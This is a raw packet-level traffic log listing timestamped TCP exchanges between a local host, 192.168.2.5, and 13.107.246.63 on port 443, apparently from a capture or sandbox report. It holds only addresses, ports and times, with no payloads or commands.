Nov 28, 2024 06:49:49.222939014 CET	50002	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.222939014 CET	50002	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.222939014 CET	50002	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.223465919 CET	50002	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.223474979 CET	443	50002	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.225620985 CET	50007	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.225655079 CET	443	50007	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.225747108 CET	50007	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.225892067 CET	50007	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.225908041 CET	443	50007	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.355648994 CET	443	50003	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.358618021 CET	443	50003	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.358716011 CET	50003	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.358745098 CET	50003	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.358753920 CET	443	50003	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.358763933 CET	50003	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.358767986 CET	443	50003	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.361557007 CET	50008	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.361588001 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.361665964 CET	50008	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.361823082 CET	50008	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.361835003 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.490886927 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.490937948 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.490993977 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.490994930 CET	50004	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.491040945 CET	50004	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.491245985 CET	50004	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.491264105 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.491272926 CET	50004	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.491280079 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.494280100 CET	50009	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.494313955 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.494410038 CET	50009	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.494554043 CET	50009	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.494568110 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.555994987 CET	443	50005	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.556418896 CET	50005	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.556447983 CET	443	50005	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.556876898 CET	50005	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.556883097 CET	443	50005	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.007371902 CET	443	50005	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.010888100 CET	443	50005	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.010981083 CET	50005	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.011039972 CET	50005	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.011039972 CET	50005	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.011055946 CET	443	50005	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.011065006 CET	443	50005	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.014136076 CET	50010	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.014173031 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.014264107 CET	50010	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.014432907 CET	50010	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.014444113 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.198069096 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.198693037 CET	50006	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.198713064 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.199233055 CET	50006	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.199238062 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.642735958 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.645924091 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.645996094 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.646018982 CET	50006	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.646061897 CET	50006	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.646121979 CET	50006	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.646142006 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.646153927 CET	50006	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.646158934 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.649225950 CET	50011	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.649271011 CET	443	50011	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:50.649348021 CET	50011	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.649570942 CET	50011	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:50.649583101 CET	443	50011	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.017409086 CET	443	50007	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.018001080 CET	50007	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.018022060 CET	443	50007	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.018492937 CET	50007	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.018497944 CET	443	50007	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.089401007 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.090013027 CET	50008	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.090030909 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.090517044 CET	50008	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.090522051 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.359144926 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.359807968 CET	50009	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.359822035 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.360277891 CET	50009	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.360282898 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.469131947 CET	443	50007	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.469194889 CET	443	50007	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.469307899 CET	50007	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.469759941 CET	50007	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.469784021 CET	443	50007	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.469795942 CET	50007	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.469801903 CET	443	50007	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.473714113 CET	50012	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.473741055 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.473802090 CET	50012	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.473969936 CET	50012	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.473984003 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.531171083 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.531229973 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.531498909 CET	50008	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.531512976 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.531622887 CET	50008	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.531641006 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.531675100 CET	50008	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.531809092 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.531843901 CET	443	50008	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.534646034 CET	50013	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.534687042 CET	443	50013	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.534715891 CET	50008	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.534766912 CET	50013	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.534935951 CET	50013	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.534954071 CET	443	50013	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.741372108 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.743982077 CET	50010	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.743999958 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.744468927 CET	50010	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.744473934 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.848639011 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.848701000 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.848786116 CET	50009	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.848813057 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.851550102 CET	50009	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.851576090 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.851583958 CET	50009	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.851970911 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.852097034 CET	443	50009	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.854984999 CET	50014	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.855007887 CET	50009	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.855007887 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:51.855077982 CET	50014	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.855226994 CET	50014	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:51.855241060 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.184138060 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.187504053 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.187544107 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.187618971 CET	50010	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.187727928 CET	50010	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.187864065 CET	50010	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.187876940 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.187913895 CET	50010	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.187918901 CET	443	50010	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.191332102 CET	50015	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.191382885 CET	443	50015	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.191467047 CET	50015	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.191605091 CET	50015	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.191626072 CET	443	50015	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.377204895 CET	443	50011	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.382183075 CET	50011	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.382216930 CET	443	50011	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.382658958 CET	50011	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.382666111 CET	443	50011	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.819921970 CET	443	50011	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.823230028 CET	443	50011	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.823297024 CET	50011	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.823370934 CET	50011	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.823395014 CET	443	50011	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.823410034 CET	50011	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.823417902 CET	443	50011	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.826641083 CET	50016	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.826663971 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:52.826745033 CET	50016	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.826915979 CET	50016	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:52.826926947 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.265698910 CET	443	50013	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.267957926 CET	50013	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.267972946 CET	443	50013	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.268461943 CET	50013	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.268465996 CET	443	50013	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.330792904 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.331341982 CET	50012	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.331357002 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.331861973 CET	50012	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.331866980 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.706937075 CET	443	50013	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.710433006 CET	443	50013	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.711529016 CET	50013	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.711781025 CET	50013	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.711796045 CET	443	50013	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.711807013 CET	50013	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.711817980 CET	443	50013	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.713346958 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.715030909 CET	50017	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.715059996 CET	443	50017	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.715413094 CET	50014	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.715425014 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.715452909 CET	50017	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.715578079 CET	50017	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.715590000 CET	443	50017	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.715972900 CET	50014	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.715979099 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.793019056 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.793286085 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.793330908 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.793438911 CET	50012	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.793486118 CET	50012	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.793773890 CET	50012	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.793783903 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.793793917 CET	50012	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.793797970 CET	443	50012	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.796942949 CET	50018	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.796964884 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.797054052 CET	50018	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.797216892 CET	50018	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.797228098 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.918807030 CET	443	50015	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.919311047 CET	50015	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.919333935 CET	443	50015	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:53.919833899 CET	50015	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:53.919842005 CET	443	50015	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.176224947 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.179308891 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.179359913 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.179409981 CET	50014	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.179440975 CET	50014	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.179507971 CET	50014	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.179516077 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.179536104 CET	50014	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.179539919 CET	443	50014	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.182656050 CET	50019	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.182674885 CET	443	50019	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.182749987 CET	50019	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.182924032 CET	50019	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.182935953 CET	443	50019	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.362111092 CET	443	50015	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.365375996 CET	443	50015	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.365470886 CET	50015	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.365503073 CET	50015	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.365534067 CET	443	50015	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.365547895 CET	50015	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.365556955 CET	443	50015	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.369117975 CET	50020	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.369142056 CET	443	50020	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.369213104 CET	50020	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.369366884 CET	50020	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.369374990 CET	443	50020	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.686346054 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.686909914 CET	50016	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.686923027 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:54.687417030 CET	50016	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:54.687421083 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.234863043 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.238099098 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.238141060 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.238142014 CET	50016	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.238188028 CET	50016	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.238228083 CET	50016	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.238233089 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.238245964 CET	50016	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.238250017 CET	443	50016	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.241220951 CET	50021	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.241269112 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.241348982 CET	50021	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.241493940 CET	50021	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.241513968 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.524766922 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.525331974 CET	50018	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.525346994 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.525827885 CET	50018	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.525832891 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.572717905 CET	443	50017	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.573381901 CET	50017	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.573405981 CET	443	50017	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.573821068 CET	50017	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.573826075 CET	443	50017	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.990575075 CET	443	50019	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.991206884 CET	50019	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.991234064 CET	443	50019	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:55.991698980 CET	50019	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:55.991703987 CET	443	50019	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.020406008 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.021569967 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.021617889 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.021619081 CET	50018	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.021668911 CET	50018	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.021714926 CET	50018	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.021728039 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.021735907 CET	50018	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.021740913 CET	443	50018	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.024693966 CET	50022	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.024744987 CET	443	50022	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.024812937 CET	50022	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.024952888 CET	50022	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.024969101 CET	443	50022	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.061239004 CET	443	50017	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.061408997 CET	443	50017	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.061474085 CET	50017	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.061537027 CET	50017	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.061557055 CET	443	50017	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.061567068 CET	50017	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.061573029 CET	443	50017	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.064024925 CET	50023	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.064071894 CET	443	50023	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.064311981 CET	50023	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.064311981 CET	50023	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.064344883 CET	443	50023	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.662832022 CET	443	50019	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.662905931 CET	443	50019	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.662972927 CET	50019	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.663247108 CET	50019	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.663263083 CET	443	50019	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.663274050 CET	50019	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.663280964 CET	443	50019	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.666870117 CET	50024	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.666899920 CET	443	50024	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.666995049 CET	50024	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.667191982 CET	50024	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.667203903 CET	443	50024	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.768626928 CET	443	50020	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.769275904 CET	50020	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.769324064 CET	443	50020	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:56.769778967 CET	50020	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:56.769787073 CET	443	50020	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.211839914 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.212363005 CET	50021	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.212389946 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.212847948 CET	50021	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.212857008 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.673177004 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.677011967 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.677063942 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.677062988 CET	50021	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.677118063 CET	50021	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.677161932 CET	50021	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.677189112 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.677205086 CET	50021	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.677212954 CET	443	50021	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.680170059 CET	50025	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.680201054 CET	443	50025	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.680285931 CET	50025	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.680490017 CET	50025	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.680505037 CET	443	50025	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.794172049 CET	443	50020	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.797456980 CET	443	50020	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.797518969 CET	50020	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.797593117 CET	50020	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.797607899 CET	443	50020	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.797619104 CET	50020	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.797622919 CET	443	50020	13.107.246.63	192.168.2.5
